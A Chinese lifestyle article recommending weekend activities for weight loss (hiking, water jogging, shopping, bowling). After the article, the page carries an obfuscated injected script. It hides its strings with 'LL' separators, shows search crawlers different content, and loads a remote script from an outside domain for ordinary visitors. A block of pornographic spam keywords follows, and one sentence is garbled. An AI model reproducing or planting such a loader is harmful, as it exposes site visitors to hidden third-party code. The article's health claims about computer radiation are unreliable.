當前位置:首頁 > 減肥 > 減肥方法 > 正文

適合周末減肥的方法

2017-03-12 10:57:37  來源:360常識網   熱度:
導語:水的阻力是空氣阻力的12倍,在水中跑45分鐘相當于陸地跑兩小時,水中慢跑對肥胖者尤其適用。由于水的密度和傳熱性比空氣大,水中慢跑消耗的能量也比陸地多,可以逐漸去掉體內過多的脂肪。

因為工作和學業繁重,因為長期不運動而導致亞健康的人越來越多。如果時間有限,選擇最適合自己的運動,才能抓緊時間健身減脂。

1、登山運動

適宜人群:在暗無天日的電腦機房工作的IT族。

理由:IT人終日在密不透風的電腦房里,整天被電腦散發的混濁氣體和輻射困擾,頭腦昏沉,如果周末還泡在健身房里,你那久未呼吸到新鮮空氣的皮膚和身體都會向你發出強烈的抗議。周末登山,讓自己置身于大自然中,盡情呼吸,痛快流汗,把一周的煩悶和疲勞通通丟掉。

健身效果:登山是極佳的有氧運動,可以促進新陳代謝,加速血液循環,還可以提高耐力和腿部力量,增強心肺功能。

2、長跑和水中慢跑

適宜人群:工作從來都在久坐中度過,落下一大堆諸如腰疼、頸椎病等,如編輯、自由撰稿人等。

理由:按理說長跑對這類人比較適用,但靠周末集中跑兩天,不但效果不大,而且長跑是較劇烈的活動,不宜在周末進行,自由自在的水中慢跑已成為當今國外最新的一項健身運動,而且是一項理想的運動。因為在水中慢跑,能平均分配身體負載,比陸地跑有明顯的優勢,而且在深水中,跑步者下肢不受震蕩,因而不易受傷,運動后會有通體舒暢的感覺。

3、逛街休閑

適宜人群:從早到晚都呆在辦公室里的女性。

理由:這是最受女性歡迎的休閑方式之一,也是一種很好的有氧運動,與健身房里枯燥的器械訓練相比,逛街不僅讓女性在不知不覺中鍛煉了身體,還愉悅了心情,是兩全其美的健身方法,如果順便還能淘到好東西就是額獾氖棧窳恕?

健身效果:女性逛街少則兩三個小時,多則一天,不停的運動可以增加腿部力量,消耗體內大量的熱量,達到健身的效果。

4、打保齡球

適宜人群:在某個職位已干了很長時間,卻久也得不到升職機會的人。

理由:一直辛勤地工作,卻總是苦于得不到領導的青睞,你改變不了這種境況,但當你甩出保齡球的那一瞬,所有的怨氣和苦悶好像都被一起甩出去,那份快感怎一個“爽”字了得?得分的節節攀升讓你找回了自信,幾局下來你對工作和人生又充滿了希望。

健身效果:只要你打保齡球時姿勢正確,全身200多塊肌肉都能得到鍛煉。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久国产精品99久久久久久老狼 | 国产精品污WWW一区二区三区| 午夜精品在线免费观看| 国产成人精品男人的天堂538| 精品国产麻豆免费网站| 亚洲AV永久无码精品一福利| 日韩精品免费视频| 久久香蕉精品视频| 亚洲视频国产精品| 亚洲精品人成网线在线播放va| 国产欧美一区二区精品仙草咪| 国产成人综合久久精品下载| 国产精品视频全国免费观看| 国产精品无码专区| 国产AV无码专区亚洲精品| 久久精品国产亚洲AV高清热| 亚洲男人的天堂久久精品| 国产精品一在线观看| xxxxbbbb国产精品| 国产精品无码久久综合| **毛片免费观看久久精品| 久久国产精品成人无码网站| 青草热在线精品视频99app| 国产三级精品三级在线观看| 女人香蕉久久**毛片精品| 久久精品国产亚洲αv忘忧草 | 日韩精品视频免费观看| 亚洲精品专区在线观看| 国产亚洲福利精品一区| 精品国产伦一区二区三区在线观看 | 国产美女在线精品免费观看| 午夜精品久久久久9999高清| 久久99国产精品二区不卡| 精品免费久久久久久久| 国产精品无码av天天爽| 91在线视频精品| 亚洲精品永久www忘忧草| 国产精品国产三级国产av剧情| 综合人妻久久一区二区精品| 久クク成人精品中文字幕| 国产乱码精品一区三上|